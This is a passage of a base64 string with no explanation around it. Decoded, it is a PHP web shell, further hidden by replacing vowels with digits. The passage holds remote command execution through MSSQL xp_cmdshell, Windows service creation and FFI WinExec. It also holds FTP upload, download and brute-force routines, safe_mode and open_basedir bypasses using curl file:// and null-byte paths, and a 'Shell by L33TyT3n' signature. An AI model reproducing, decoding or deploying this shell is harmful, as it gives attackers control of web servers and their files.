GJyNTFrOw0KIH0NCn0NCjRmKCE1bXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAoJF9QT1NUWydjbWQnXT09ImZ0cF9mNGw1XzNwIiB8fCAkX1BPU1RbJ2NtZCddPT0iZnRwX2Y0bDVfZDJ3biIpKQ0KIHsNCiBsNHN0KCRmdHBfczVydjVyLCRmdHBfcDJydCkgPSBzcGw0dCgiOiIsJF9QT1NUWydmdHBfczVydjVyX3AycnQnXSk7DQogNGYoNW1wdHkoJGZ0cF9wMnJ0KSkgeyAkZnRwX3AycnQgPSBhNjsgfQ0KICRjMm5uNWN0NDJuID0gQGZ0cF9jMm5uNWN0ICgkZnRwX3M1cnY1ciwkZnRwX3AycnQsNjApOw0KIDRmKCEkYzJubjVjdDQybikgeyA1cnIobyk7IH0NCiA1bHM1DQogIHsNCiAgNGYoIUBmdHBfbDJnNG4oJGMybm41Y3Q0Mm4sJF9QT1NUWydmdHBfbDJnNG4nXSwkX1BPU1RbJ2Z0cF9wMXNzdzJyZCddKSkgeyA1cnIodSk7IH0NCiAgNWxzNQ0KICAgew0KICAgNGYoJF9QT1NUWydjbWQnXT09ImZ0cF9mNGw1X2Qyd24iKSB7IDRmKGNoMnAoJF9QT1NUWydsMmNfZjRsNSddKT09JGQ0cikgeyAkX1BPU1RbJ2wyY19mNGw1J109JGQ0ci4oKCEkM240eCk/KCdcXCcpOignLycpKS5iMXM1bjFtNSgkX1BPU1RbJ2Z0cF9mNGw1J10pOyB9IEBmdHBfZzV0KCRjMm5uNWN0NDJuLCRfUE9TVFsnbDJjX2Y0bDUnXSwkX1BPU1RbJ2Z0cF9mNGw1J10sJF9QT1NUWydtMmQ1J10pOwl9DQogICA0ZigkX1BPU1RbJ2NtZCddPT0iZnRwX2Y0bDVfM3AiKSAgIHsgQGZ0cF9wM3QoJGMybm41Y3Q0Mm4sJF9QT1NUWydmdHBfZjRsNSddLCRfUE9TVFsnbDJjX2Y0bDUnXSwkX1BPU1RbJ20yZDUnXSk7CX0NCiAgIH0NCiAgfQ0KIEBmdHBfY2wyczUoJGMybm41Y3Q0Mm4pOw0KICRfUE9TVFsnY21kJ10gPSAiIjsNCiB9DQo0ZighNW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImZ0cF9icjN0NSIpDQogew0KIGw0c3QoJGZ0cF9zNXJ2NXIsJGZ0cF9wMnJ0KSA9IHNwbDR0KCI6IiwkX1BPU1RbJ2Z0cF9zNXJ2NXJfcDJydCddKTsNCiA0Zig1bXB0eSgkZnRwX3AycnQpKSB7ICRmdHBfcDJydCA9IGE2OyB9DQogJGMybm41Y3Q0Mm4gPSBAZnRwX2Mybm41Y3QgKCRmdHBfczVydjVyLCRmdHBfcDJydCw2MCk7DQogNGYoISRjMm5uNWN0NDJuKSB7IDVycihvKTsgJF9QT1NUWydjbWQnXSA9ICIiOyB9DQogNWxzNSA0ZighJDNzNXJzPWc1dF8zczVycygpKSB7IDVjaDIgIjx0MWJsNSB3NGR0aD02MDAlIGM1bGxwMWRkNG5nPTAgYzVsbHNwMWM0bmc9MCBiZ2MybDJyPSNvb29vb28+PHRyPjx0ZCBjbDFzcz1tMTRuIGJnYzJsMnI9QmwxY2s+PGYybnQgYzJsMnI9I2ExZmYwMCBmMWM1PVY1cmQxbjEgczR6NT0tYT48ZDR2IDFsNGduPWM1bnQ1cj48Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ5ZSddLiI8L2I+PC9kNHY+PC9mMm50PjwvdGQ+PC90cj48L3QxYmw1PiI7ICRfUE9TVFsnY21kJ10gPSAiIjsgfQ0KIEBmdHBfY2wyczUoJGMybm41Y3Q0Mm4pOw0KIH0NCjVjaDIgJHQxYmw1XzNwbzsNCjRmICg1bXB0eSgkX1BPU1RbJ2NtZCddKSYmISRzMWY1X20yZDUpIHsgJF9QT1NUWydjbWQnXT0oISQzbjR4KT8oImQ0ciIpOigiZDRyIC0xMiIpOyB9DQo1bHM1IDRmKDVtcHR5KCRfUE9TVFsnY21kJ10pJiYkczFmNV9tMmQ1KXsgJF9QT1NUWydjbWQnXT0iczFmNV9kNHIiOyB9DQo1Y2gyICRmMm50LiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ2J10uIjogPGI+Ii4kX1BPU1RbJ2NtZCddLiI8L2I+PC9mMm50PjwvdGQ+PC90cj48dHI+PHRkIGNsMXNzPW0xNG4+PGI+PGQ0diAxbDRnbj1jNW50NXI+PHQ1eHQxcjUxIG4xbTU9cjVwMnJ0IGMybHM9NmE2IHIyd3M9Nmkgc3A1bGxjaDVjaz0nZjFsczUnPiI7DQoNCmYzbmN0NDJuIGQyejRwNigkbDRuaywkZjRsNSkNCnsNCiAgICRmcCA9IEBmMnA1bigkbDRuaywiciIpOw0KICAgd2g0bDUoIWY1MmYoJGZwKSkNCiAgIHsNCiAgICAgICAkYzJudC49IGZyNTFkKCRmcCw2MGF1KTsNCiAgIH0NCiAgIGZjbDJzNSgkZnApOw0KDQogICAkZnBhID0gQGYycDVuKCRmNGw1LCJ3Iik7DQogICBmd3I0dDUoJGZwYSwkYzJudCk7DQogICBmY2wyczUoJGZwYSk7DQp9DQo0ZiAoNHNzNXQoJF9QT1NUWydmM256NHAnXSkpDQp7DQpkMno0cDYoJF9QT1NUWydmM256NHAnXSwkX1BPU1RbJ2Z6NHAnXSk7DQp9DQo0Zig1bXB0eSgkX1BPU1RbJ3IyMnQnXSkpew0KfSA1bHM1IHsNCiAgICRyMjJ0ID0gJF9QT1NUWydyMjJ0J107IH0NCg0KDQoNCg0KICAkYyA9IDA7ICREID0gMXJyMXkoKTsNCiAgczV0XzVycjJyX2gxbmRsNXIoIjVoIik7DQoNCiAgJGNoMXJzID0gIl8tLjA2YW91aWU3ODkwMWJjZDVmZ2g0amtsbm0ycHFyc3Qzdnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWiI7DQoNCiAgZjJyKCQ0PTA7ICQ0IDwgc3RybDVuKCRjaDFycyk7ICQ0Kyspew0KICAkcDF0aCA9InskcjIydH0iLigoczNic3RyKCRyMjJ0LC02KSE9Ii8iKSA/ICIvIiA6IE5VTEwpLiJ7JGNoMXJzWyQ0XX0iOw0KDQogICRwcjV2RCA9ICREW2MyM250KCREKS02XTsNCiAgZ2wyYigkcDF0aC4iKiIpOw0KDQogICAgICAgIDRmKCREW2MyM250KCREKS02XSAhPSAkcHI1dkQpew0KDQogICAgICAgIGYycigkaj0wOyAkaiA8IHN0cmw1bigkY2gxcnMpOyAkaisrKXsNCg0KICAgICAgICAgICAkcDF0aCA9InskcjIydH0iLigoczNic3RyKCRyMjJ0LC02KSE9Ii8iKSA/ICIvIiA6IE5VTEwpLiJ7JGNoMXJzWyQ0XX17JGNoMXJzWyRqXX0iOw0KDQogICAgICAgICAgICRwcjV2RGEgPSAkRFtjMjNudCgkRCktNl07DQogICAgICAgICAgIGdsMmIoJHAxdGguIioiKTsNCg0KICAgICAgICAgICAgICA0ZigkRFtjMjNudCgkRCktNl0gIT0gJHByNXZEYSl7DQoNCg0KICAgICAgICAgICAgICAgICBmMnIoJHA9MDsgJHAgPCBzdHJsNW4oJGNoMXJzKTsgJHArKyl7DQoNCiAgICAgICAgICAgICAgICAgJHAxdGggPSJ7JHIyMnR9Ii4oKHMzYnN0cigkcjIydCwtNikhPSIvIikgPyAiLyIgOiBOVUxMKS4ieyRjaDFyc1skNF19eyRjaDFyc1skal19eyRjaDFyc1skcF19IjsNCg0KICAgICAgICAgICAgICAgICAkcHI1dkRvID0gJERbYzIzbnQoJEQpLTZdOw0KICAgICAgICAgICAgICAgICBnbDJiKCRwMXRoLiIqIik7DQoNCiAgICAgICAgICAgICAgICAgICAgNGYoJERbYzIzbnQoJEQpLTZdICE9ICRwcjV2RG8pew0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgZjJyKCRyPTA7ICRyIDwgc3RybDVuKCRjaDFycyk7ICRyKyspew0KDQogICAgICAgICAgICAgICAgICAgICAgICRwMXRoID0ieyRyMjJ0fSIuKChzM2JzdHIoJHIyMnQsLTYpIT0iLyIpID8gIi8iIDogTlVMTCkuInskY2gxcnNbJDRdfXskY2gxcnNbJGpdfXskY2gxcnNbJHBdfXskY2gxcnNbJHJdfSI7DQogICAgICAgICAgICAgICAgICAgICAgIGdsMmIoJHAxdGguIioiKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICB9DQoNCiAgICAgICAgfQ0KDQogICAgICAgIH0NCg0KICB9DQoNCiAgJEQgPSAxcnIxeV8zbjRxMzUoJEQpOw0KDQoNCg0KDQogIGYycjUxY2goJEQgMXMgJDR0NW0pDQogIDRmKDRzczV0KCRfUkVRVUVTVFsncjIydCddKSkNCiAgNWNoMiAieyQ0dDVtfVxuIjsNCg0KDQoNCg0KICBmM25jdDQybiA1aCgkNXJybjIsICQ1cnJzdHIsICQ1cnJmNGw1LCAkNXJybDRuNSl7DQoNCiAgICAgZ2wyYjFsICRELCAkYywgJDQ7DQogICAgIHByNWdfbTF0Y2goIi9TQUZFXCBNT0RFXCBSNXN0cjRjdDQyblwgNG5cIDVmZjVjdFwuLip3aDJzNVwgMzRkXCA0cyguKik0c1wgbjJ0XCAxbGwydzVkXCB0MlwgMWNjNXNzKC4qKTJ3bjVkIGJ5IDM0ZCguKikvIiwgJDVycnN0ciwgJDIpOw0KICAgICA0ZigkMil7ICREWyRjXSA9ICQyW2FdOyAkYysrO30NCg0KICB9DQoNCjRmKCRzMWY1X20yZDUpDQp7DQogc3c0dGNoKCRfUE9TVFsnY21kJ10pDQogew0KIGMxczUgJ3MxZjVfZDRyJzoNCiAgJGQ9QGQ0cigkZDRyKTsNCiAgNGYgKCRkKQ0KICAgew0KICAgd2g0bDUgKGYxbHM1IT09KCRmNGw1PSRkLT5yNTFkKCkpKQ0KICAgIHsNCiAgICAgNGYgKCRmNGw1PT0iLiIgfHwgJGY0bDU9PSIuLiIpIGMybnQ0bjM1Ow0KICAgICBAY2w1MXJzdDF0YzFjaDUoKTsNCiAgICAgbDRzdCAoJGQ1diwgJDRuMmQ1LCAkNG4yZDVwLCAkbmw0bmssICQzNGQsICRnNGQsICQ0bjJkNXYsICRzNHo1LCAkMXQ0bTUsICRtdDRtNSwgJGN0NG01LCAkYnM0ejUpID0gc3QxdCgkZjRsNSk7DQogICAgIDRmKCEkM240eCl7DQogICAgIDVjaDIgZDF0NSgiZC5tLlkgSDo0IiwkbXQ0bTUpOw0KICAgICA0ZihANHNfZDRyKCRmNGw1KSkgNWNoMiAiICA8RElSPiAiOyA1bHM1IHByNG50ZigiJSA3cyAiLCRzNHo1KTsNCiAgICAgfQ0KICAgICA1bHM1ew0KICAgICAkMnduNXIgPSBAcDJzNHhfZzV0cHczNGQoJDM0ZCk7DQogICAgICRncmc0ZCA9IEBwMnM0eF9nNXRncmc0ZCgkZzRkKTsNCiAgICAgNWNoMiAkNG4yZDUuIiAiOw0KICAgICA1Y2gyIHA1cm1zKEBmNGw1cDVybXMoJGY0bDUpKTsNCiAgICAgcHI0bnRmKCIlIHVkICUgOXMgJSA5cyAlN3MgIiwkbmw0bmssJDJ3bjVyWyduMW01J10sJGdyZzRkWyduMW01J10sJHM0ejUpOw0KICAgICA1Y2gyIGQxdDUoImQubS5ZIEg6NCAiLCRtdDRtNSk7DQogICAgIH0NCiAgICAgNWNoMiAiJGY0bDVcbiI7DQogICAgfQ0KICAgJGQtPmNsMnM1KCk7DQogICB9DQogIDVsczUgNWNoMiAkbDFuZ1skbDFuZzMxZzUuX3Q1eHRhOV07DQogYnI1MWs7DQogYzFzNSAnYzJweSc6DQoNCjRmKDVtcHR5KCRzbm4pKXsNCjRmKDVtcHR5KCRfR0VUWydzbm4nXSkpew0KNGYoNW1wdHkoJF9QT1NUWydzbm4nXSkpew0KDQp9IDVsczUgew0KJDM2cD0kX1BPU1RbJ3NubiddOw0KfQ0KfSA1bHM1IHsNCiQzNnA9JF9HRVRbJ3NubiddOw0KfQ0KfQ0KYnI1MWs7DQogIGMxczUgJ3Q1c3Q2JzoNCiAgJGM0ID0gQGMzcmxfNG40dCgiZjRsNTovLyIuJF9QT1NUWyd0NXN0Nl9mNGw1J10uIiIpOw0KICAkY2YgPSBAYzNybF81eDVjKCRjNCk7DQogIDVjaDIgJGNmOw0KICBicjUxazsNCiAgYzFzNSAndDVzdHUnOg0KICA0Zig1bXB0eSgkX1BPU1RbJ3Q1c3R1X3AycnQnXSkpIHsgJF9QT1NUWyd0NXN0dV9wMnJ0J10gPSAiNnVvbyI7IH0NCiAgJGRiID0gQG1zc3FsX2Mybm41Y3QoJ2wyYzFsaDJzdCwnLiRfUE9TVFsndDVzdHVfcDJydCddLCRfUE9TVFsndDVzdHVfbWwnXSwkX1BPU1RbJ3Q1c3R1X21wJ10pOw0KICA0ZigkZGIpDQogICB7DQogICA0ZihAbXNzcWxfczVsNWN0X2RiKCRfUE9TVFsndDVzdHVfbWQnXSwkZGIpKQ0KICAgIHsNCiAgICAgQG1zc3FsX3EzNXJ5KCJkcjJwIHQxYmw1IHJpN190NW1wX3QxYmw1IiwkZGIpOw0KICAgICBAbXNzcWxfcTM1cnkoImNyNTF0NSB0MWJsNSByaTdfdDVtcF90MWJsNSAoIHN0cjRuZyBWQVJDSEFSIChpMDApIE5VTEwpIiwkZGIpOw0KICAgICBAbXNzcWxfcTM1cnkoIjRuczVydCA0bnQyIHJpN190NW1wX3QxYmw1IEVYRUMgbTFzdDVyLmRiMi54cF9jbWRzaDVsbCAnIi4kX1BPU1RbJ3Q1c3R1X2Y0bDUnXS4iJyIsJGRiKTsNCiAgICAgJHI1cyA9IG1zc3FsX3EzNXJ5KCJzNWw1Y3QgKiBmcjJtIHJpN190NW1wX3QxYmw1IiwkZGIpOw0KICAgICB3aDRsNSgoJHIydz1AbXNzcWxfZjV0Y2hfcjJ3KCRyNXMpKSkNCiAgICAgIHsNCiAgICAgIDVjaDIgJHIyd1swXS4iXHJcbiI7DQogICAgICB9DQogICAgQG1zc3FsX3EzNXJ5KCJkcjJwIHQxYmw1IHJpN190NW1wX3QxYmw1IiwkZGIpOw0KICAgIH0NCiAgICA1bHM1IDVjaDIgIlstXSBFUlJPUiEgQzFuJ3QgczVsNWN0IGQxdDFiMXM1IjsNCiAgIEBtc3NxbF9jbDJzNSgkZGIpOw0KICAgfQ0KICA1bHM1IDVjaDIgIlstXSBFUlJPUiEgQzFuJ3QgYzJubjVjdCB0MiBNU1NRTCBzNXJ2NXIiOw0KICBicjUxazsNCmMxczUgJ2NVUkwnOg0KICAgNGYoNW1wdHkoJF9QT1NUWydseTBraDEnXSkpew0KfSA1bHM1IHsNCiRjM3JsPSRfUE9TVFsnbHkwa2gxJ107DQokY2g2ID1jM3JsXzRuNHQoImY0bDU6Ly8vIi4kYzNybC4iXHgwMC8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8iLl9fRklMRV9fKTsNCmMzcmxfNXg1YygkY2g2KTsNCnYxcl9kM21wKGMzcmxfNXg1YygkY2g2KSk7DQo1Y2gyICI8L3Q1eHQxcjUxPjwvQ0VOVEVSPiI7DQoNCn0NCmJyNTFrOw0KYzFzNSAnYzJweSc6DQoNCjRmKDVtcHR5KCRzbm4pKXsNCjRmKDVtcHR5KCRfR0VUWydzbm4nXSkpew0KNGYoNW1wdHkoJF9QT1NUWydzbm4nXSkpew0KDQp9IDVsczUgew0KJDM2cD0kX1BPU1RbJ3NubiddOw0KfQ0KfSA1bHM1IHsNCiQzNnA9JF9HRVRbJ3NubiddOw0KfQ0KfQ0KICAkMzZwPSIiOyAvLyBGNGw1IHQyIEluY2wzZDUuLi4gMnIgM3M1IF9HRVQgX1BPU1QNCiR0eW1jejFzPSIiOyAvLyBTNXQgJHR5bWN6MXMgdDIgZDRyIHdoNXI1IHkyMyBoMXY1IDc3NyBsNGs1IC92MXIvdG1wDQoNCg0KJHQ1bXA9dDVtcG4xbSgkdHltY3oxcywgImN4Iik7DQoNCjRmKGMycHkoImMybXByNXNzLnpsNGI6Ly8iLiRzbm4sICR0NW1wKSl7DQokenIyZGwyID0gZjJwNW4oJHQ1bXAsICJyIik7DQokdDVrc3QgPSBmcjUxZCgkenIyZGwyLCBmNGw1czR6NSgkdDVtcCkpOw0KZmNsMnM1KCR6cjJkbDIpOw0KNWNoMiAiIi5odG1sc3A1YzQxbGNoMXJzKCR0NWtzdCkuIiI7DQozbmw0bmsoJHQ1bXApOw0KNWNoMiAiPC90NXh0MXI1MT48L0NFTlRFUj4iOw0KfQ0KYnI1MWs7DQpjMXM1ICc0bjRfcjVzdDJyNSc6DQogNGYoNW1wdHkoJF9QT1NUWyc0bjRfcjVzdDJyNSddKSl7DQp9IDVsczUgew0KDQokNG40PSRfUE9TVFsnNG40X3I1c3QycjUnXTsNCjVjaDIgNG40X2c1dCgiczFmNV9tMmQ1Iik7DQo1Y2gyIDRuNF9nNXQoIjJwNW5fYjFzNWQ0ciIpOw0KcjVxMzRyNV8ybmM1KCIkNG40Iik7DQo0bjRfcjVzdDJyNSgiczFmNV9tMmQ1Iik7DQo0bjRfcjVzdDJyNSgiMnA1bl9iMXM1ZDRyIik7DQo1Y2gyIDRuNF9nNXQoInMxZjVfbTJkNSIpOw0KNWNoMiA0bjRfZzV0KCIycDVuX2IxczVkNHIiKTsNCjRuY2wzZDUoJF9HRVRbInNzIl0pOw0KNWNoMiAiPC90NXh0MXI1MT48L0NFTlRFUj4iOw0KfQ0KYnI1MWs7DQpjMXM1ICdnbDJiJzoNCmYzbmN0NDJuIHI1Z19nbDJiKCkNCnsNCiRjaDVtNG49JF9SRVFVRVNUWydnbDJiJ107DQokZjRsNXMgPSBnbDJiKCIkY2g1bTRuKiIpOw0KDQoNCmYycjUxY2ggKCRmNGw1cyAxcyAkZjRsNW4xbTUpIHsNCg0KICAgNWNoMiAiJGY0bDVuMW01XG4iOw0KDQp9DQp9DQoNCjRmKDRzczV0KCRfUkVRVUVTVFsnZ2wyYiddKSkNCnsNCnI1Z19nbDJiKCk7DQp9DQoNCmJyNTFrOw0KYzFzNSAnejVuZCc6DQogNGYoNW1wdHkoJF9QT1NUWyd6NW5kJ10pKXsNCn0gNWxzNSB7DQoNCiRkNXo1bmQ9JF9QT1NUWyd6NW5kJ107DQo0bmNsM2Q1KCRfUE9TVFsnejVuZCddKTsNCnByNG50X3IoJEdMT0JBTFMpOw0KcjVxMzRyNV8ybmM1KCIkZDV6NW5kIik7DQo1Y2gyICI8L3Q1eHQxcjUxPjwvcD4iOw0KfQ0KDQpicjUxazsNCiAgYzFzNSAncGwzZzRuJzoNCiAgNGYgKCRfUE9TVFsncGwzZzRuJ10gKQ0KICB7DQokNCA9IDA7DQp3aDRsNSAoJDQgPCBlMDAwMCkgew0KICAgICRsNG41ID0gcDJzNHhfZzV0cHczNGQoJDQpOw0KICAgIDRmICghNW1wdHkoJGw0bjUpKSB7DQogICAgICAgIHdoNGw1IChsNHN0ICgkazV5LCAkdmwpID0gNTFjaCgkbDRuNSkpew0KICAgICAgICAgICAgNWNoMiAkdmwuIlxuIjsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICB9DQogICAgfQ0KICAgICAkNCsrOw0KfQ0KDQogICAgICAgICAgICAgfQ0KCQkJIA0KICBicjUxazsNCiAgDQogIGMxczUgJ3Q1c3Q2dSc6DQogICQ0Mm5jM2I1ID0gQDQybmMzYjVfcjUxZF9mNGw1KCRfUE9TVFsndDVzdDZ1X2NtZCddKTsNCiAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCQ0Mm5jM2I1KTsNCiAgYnI1MWs7DQogIGMxczUgJ3Q1c3Q2aSc6DQogICR0bXAgPSAnJzsNCiAgNGYoQDRzX3dyNHQxYmw1KCRfRU5WWydUTVAnXSkpICR0bXA9JF9FTlZbJ1RNUCddOw0KICA1bHM1NGYoQDRzX3dyNHQ1MWJsNSg0bjRfZzV0KCdzNXNzNDJuLnMxdjVfcDF0aCcpKSkgJHRtcD00bjRfZzV0KCdzNXNzNDJuLnMxdjVfcDF0aCcpOw0KICA1bHM1NGYoQDRzX3dyNHQ1MWJsNSg0bjRfZzV0KCczcGwyMWRfdG1wX2Q0cicpKSkgJHRtcD00bjRfZzV0KCczcGwyMWRfdG1wX2Q0cicpOw0KICA1bHM1NGYoQDRzX3dyNHQ1MWJsNShkNHJuMW01KF9fRklMRV9fKSkpICR0bXA9ZDRybjFtNShfX0ZJTEVfXyk7DQogIDVsczUgYnI1MWs7DQogIEAzbmw0bmsoJHRtcC4nL3I1czNsdF90NXN0NmkudHh0Jyk7DQogIEB3NG5fc2g1bGxfNXg1YzN0NSgiY21kLjV4NSIsIiIsIi9jICIuJF9QT1NUWyd0NXN0NmlfY21kJ10uIiA+ICIuJHRtcC4iL3I1czNsdF90NXN0NmkudHh0Iik7DQogIHdoNGw1KCFmNGw1XzV4NHN0cygkdG1wLicvcjVzM2x0X3Q1c3Q2aS50eHQnKSkgc2w1NXAoNik7DQogICRsNG41cyA9IEBmNGw1ICgkdG1wLicvcjVzM2x0X3Q1c3Q2aS50eHQnKTsNCiAgNGYoJGw0bjVzKSBmMnI1MWNoICgkbDRuNXMgMXMgJGw0bjUpIHsgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRsNG41KTsgfQ0KICBAM25sNG5rKCR0bXAuJy9yNXMzbHRfdDVzdDZpLnR4dCcpOw0KICBicjUxazsNCiAgYzFzNSAndDVzdDZlJzoNCiAgJHRtcCA9ICcnOw0KICA0ZihANHNfd3I0dDFibDUoJF9FTlZbJ1RNUCddKSkgJHRtcD0kX0VOVlsnVE1QJ107DQogIDVsczU0ZihANHNfd3I0dDUxYmw1KDRuNF9nNXQoJ3M1c3M0Mm4uczF2NV9wMXRoJykpKSAkdG1wPTRuNF9nNXQoJ3M1c3M0Mm4uczF2NV9wMXRoJyk7DQogIDRmKEA0c193cjR0NTFibDUoNG40X2c1dCgnM3BsMjFkX3RtcF9kNHInKSkpICR0bXA9NG40X2c1dCgnM3BsMjFkX3RtcF9kNHInKTsNCiAgNWxzNTRmKEA0c193cjR0NTFibDUoZDRybjFtNShfX0ZJTEVfXykpKSAkdG1wPWQ0cm4xbTUoX19GSUxFX18pOw0KICA1bHM1IGJyNTFrOw0KICAkbjFtNT0kdG1wLiJcXCIuM240cTRkKCk7DQogICRuPTNuNHE0ZCgpOw0KICAkY21kPSg1bXB0eSgkX1NFUlZFUlsnQ09NU1BFQyddKSk/J2M6XFx3NG5kMndzXFxzeXN0NW1vYVxcY21kLjV4NSc6JF9TRVJWRVJbJ0NPTVNQRUMnXTsNCiAgdzRub2FfY3I1MXQ1X3M1cnY0YzUoMXJyMXkoJ3M1cnY0YzUnPT4kbiwnZDRzcGwxeSc9PiRuLCdwMXRoJz0+JGNtZCwncDFyMW1zJz0+Ii9jICIuJF9QT1NUWyd0NXN0NmVfY21kJ10uIiA+XCIkbjFtNVwiIikpOw0KICB3NG5vYV9zdDFydF9zNXJ2NGM1KCRuKTsNCiAgdzRub2Ffc3QycF9zNXJ2NGM1KCRuKTsNCiAgdzRub2FfZDVsNXQ1X3M1cnY0YzUoJG4pOw0KICB3aDRsNSghZjRsNV81eDRzdHMoJG4xbTUpKSBzbDU1cCg2KTsNCiAgJDV4NWM9ZjRsNV9nNXRfYzJudDVudHMoJG4xbTUpOw0KICAzbmw0bmsoJG4xbTUpOw0KICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJDV4NWMpOw0KICBicjUxazsNCiAgYzFzNSAndDVzdDY4JzoNCiAgNGYoQDRzX3dyNHQxYmw1KCRfRU5WWydUTVAnXSkpICR0bXA9JF9FTlZbJ1RNUCddOw0KICA1bHM1NGYoQDRzX3dyNHQ1MWJsNSg0bjRfZzV0KCdzNXNzNDJuLnMxdjVfcDF0aCcpKSkgJHRtcD00bjRfZzV0KCdzNXNzNDJuLnMxdjVfcDF0aCcpOw0KICA0ZihANHNfd3I0dDUxYmw1KDRuNF9nNXQoJzNwbDIxZF90bXBfZDRyJykpKSAkdG1wPTRuNF9nNXQoJzNwbDIxZF90bXBfZDRyJyk7DQogIDVsczU0ZihANHNfd3I0dDUxYmw1KGQ0cm4xbTUoX19GSUxFX18pKSkgJHRtcD1kNHJuMW01KF9fRklMRV9fKTsNCiAgNWxzNSBicjUxazsNCiAgJG4xbTU9JHRtcC4iXFwiLjNuNHE0ZCgpOw0KICAkMXA0PW41dyBmZjQoIltsNGI9J2s1cm41bG9hLmRsbCddIDRudCBXNG5FeDVjKGNoMXIgKkFQUCw0bnQgU1cpOyIpOw0KICAkcjVzPSQxcDQtPlc0bkV4NWMoImNtZC41eDUgL2MgIi4kX1BPU1RbJ3Q1c3Q2OF9jbWQnXS4iID5cIiRuMW01XCIiLDApOw0KICB3aDRsNSghZjRsNV81eDRzdHMoJG4xbTUpKSBzbDU1cCg2KTsNCiAgJDV4NWM9ZjRsNV9nNXRfYzJudDVudHMoJG4xbTUpOw0KICAzbmw0bmsoJG4xbTUpOw0KICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJDV4NWMpOw0KICBicjUxazsNCiAgYzFzNSAndDVzdDY5JzoNCg0KNGYoRW1wdHkoJHQ1c3Q2OSkgMU5kIEVtcHR5KCRfR0VUWyd0NXN0NjknXSkgMU5kIEVtcHR5KCRfUE9TVFsndDVzdDY5J10pKSBkNEUoIlxuIi4kazFyMXQybjRrKTsNCg0KNGYoITVtcHR5KCRfR0VUWyd0NXN0NjknXSkpICRmNGw1PSRfR0VUWyd0NXN0NjknXTsNCjRmKCE1bXB0eSgkX1BPU1RbJ3Q1c3Q2OSddKSkgJGY0bDU9JF9QT1NUWyd0NXN0NjknXTsNCg0KDQo0ZigoYzNybF81eDVjKGMzcmxfNG40dCgiZjRsNTpodHRwOi8vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vIi4kZjRsNSkpKSAxTmQgITVtcHRZKCRmNGw1KSkgZDQ1KCI8Qj48YnI+U2g1bGwgYnkgTDMzVHlUM248L0I+PC9GT05UPiIpOw0KNWxzNTRmKCE1bXB0WSgkZjRsNSkpIGQ0NSgiUzJycnkuLi4gRjRsNSAiLmh0bWxzcDVjNDFsY2gxcnMoJGY0bDUpLiJkMjVzbid0IDV4NHN0cyAyciB5MjMgZDJuJ3QgaDF2NSBwNXJtNHNzNDJucyIpO0I1MXJrOw0KYzFzNSAndDVzdGEwJzoNCkAyYl9jbDUxbigpOw0KICAkNXJyMnJfcjVwMnJ0NG5nID0gQDRuNF9nNXQoJzVycjJyX3I1cDJydDRuZycpOw0KICA1cnIycl9yNXAycnQ0bmcoRV9BTEwgXiBFX05PVElDRSk7DQogIEA0bjRfczV0KCJkNHNwbDF5XzVycjJycyIsIDYpOw0KICBANG40XzFsdDVyKCJkNHNwbDF5XzVycjJycyIsIDYpOw0KICAkc3RyPUBmMnA1bigkX1BPU1RbJ3Q1c3RhMF9mNGw1J10sInIiKTsNCiAgd2g0bDUoIWY1MmYoJHN0cikpe3ByNG50IGh0bWxzcDVjNDFsY2gxcnMoZmc1dHMoJHN0cikpO30NCiAgZmNsMnM1KCRzdHIpOw0KICA1cnIycl9yNXAycnQ0bmcoJDVycjJyX3I1cDJydDRuZyk7DQogIGJyNTFrOw0KYzFzNSAndDVzdGE2JzoNCiRmNGw1bj0kX1BPU1RbJ3Q1c3RhNl9mNGw1J107DQpAZjJwNW4oJ3NycDF0aDovLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLycuJF9QT1NUWyd0NXN0YTZfZjRsNSddLCIxIik7DQo0ZiAoZjRsNV81eDRzdHMoJGY0bDVuKSkNCnsNCjVjaDIgJGwxbmdbJGwxbmczMWc1LidfdDV4dGU2J107DQp9DQo1bHM1DQo1Y2gyICJDMW4ndCB3cjR0NSBmNGw1IjsNCg0KICBicjUxazsNCmMxczUgJ3Q1c3RhYSc6DQogICAgICAgNWNoMiAiUEhQIHI1MWxwMXRoKCkgbDRzdDRuZyBkNHI1Y3QycnkgUzFmNV9tMmQ1IGJ5cDFzcyBFeHBsMjR0XHJcblxyXG4iOw0KICAgICAgIDRmKCEkZDRyKXskZDRyPScvNXRjLyc7fTsNCiAgICAgICA0ZighNW1wdHkoJF9QT1NUWyc1bmRfcmxwaCddKSl7JDVuZF9ybHBoPSRfUE9TVFsnNW5kX3JscGgnXTt9NWxzNXskNW5kX3JscGg9Jyc7fQ0KICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ25fcmxwaCddKSl7JG5fcmxwaD0kX1BPU1RbJ25fcmxwaCddO301bHM1eyRuX3JscGg9J28nO30NCg0KICAgICAgIDRmKCRyNTFscDF0aD1yNTFscDF0aCgkZDRyLicvJykpezVjaDIgJHI1MWxwMXRoLiJcclxuIjt9DQogICAgICAgNGYoJDVuZF9ybHBoIT0nJyAmJiAkcjUxbHAxdGg9cjUxbHAxdGgoJGQ0ci4nLycuJDVuZF9ybHBoKSl7NWNoMiAkcjUxbHAxdGguIlxyXG4iO30NCiAgICAgICBmMnI1MWNoKCRwcjVzNXRzX3JscGggMXMgJHByNXM1dF9ybHBoKXsNCiAgICAgICAgICAgNGYoJHI1MWxwMXRoPXI1MWxwMXRoKCRkNHIuJy8nLiRwcjVzNXRfcmxwaC4kNW5kX3JscGgpKXs1Y2gyICRyNTFscDF0a